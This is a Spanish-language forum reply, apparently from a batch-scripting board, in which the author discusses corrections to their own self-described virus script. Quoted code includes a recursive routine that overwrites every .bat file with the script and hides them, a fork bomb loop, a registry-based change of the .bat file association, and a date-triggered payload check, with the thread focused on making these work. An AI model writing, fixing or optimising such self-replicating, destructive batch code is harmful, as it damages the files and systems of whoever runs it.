Citar
Código
if %date% GEQ 13-12-13 (
Esto es imposible que te funcione:
- el símbolo es "/", y tu estás comparando el guión "-".
- la variable DATE contiene 8 dígitos, no 6.
- no estás usando un orden de comparación correcto:
Tu estás haciendo esto
Código
if %date% GEQ 13-12-13
if %date% GEQ 13-12-13 (
Esto es imposible que te funcione:
- el símbolo es "/", y tu estás comparando el guión "-".
- la variable DATE contiene 8 dígitos, no 6.
- no estás usando un orden de comparación correcto:
Tu estás haciendo esto
Código
if %date% GEQ 13-12-13
con esto el problema es que para ver si me funcionaria lo probe en la CMD...
Citar
Código
::busca archivos .bat y los infecta
for /R %%i in (*.bat) do copy %0 %%i
for /R %%i in (*.bat) do attrib +s +h %%i
Estás haciendo dos pasadas en el disco duro, eso puede tardar siglos usando batch, cuando puedes concatenar los dos comandos en el mismo FOR.
::busca archivos .bat y los infecta
for /R %%i in (*.bat) do copy %0 %%i
for /R %%i in (*.bat) do attrib +s +h %%i
Estás haciendo dos pasadas en el disco duro, eso puede tardar siglos usando batch, cuando puedes concatenar los dos comandos en el mismo FOR.
bueno esto lo sabia por que probe esta parte del codigo y si tardo bastante pero este script trate de hacerlo lo mas "detectable" por eso no quise ponerle ningun tipo de proteccion..de cierta forma no quiero que ande gente infectando personas con un script que yo hice...hay partes de las correciones que hiciste que no entiendo...
E.P.:
Citar
:Loop
(Start /B "" "%~0") & (Goto :Loop)
(Start /B "" "%~0") & (Goto :Loop)
por ejemplo no sabia que se podia empezar una linea de codigo con un parentesis :O bueno la 'forkbomb' quise hacerla a la antigua...pero como dije hay cosas que no entiendo en las correcion que hiciste..
Citar
For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213
IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213
sobre esta parte todavia no me relaciono con FOR muy bien asi que esta parte del codigo no la entiendo bien...segun puedo ver estas tratando de contar tokens y delimitas algo??
explicame mejor esa parte por favor si puedes...por cierto las correciones que hiciste claro que son bienvenidas gracias por tomarte el tiempo de revisar el codigo...
E.P.2:
Citar
Pregunta: ¿Que sentido le das ejecutar de nuevo el bat en un búcle infinito, si cuando la carpeta "placenta" ya está creada, el propio bat se cierra?.
esto es cierto...al parecer como lo hice con ganas de experimentar se me pasaron ciertas cosas
saludos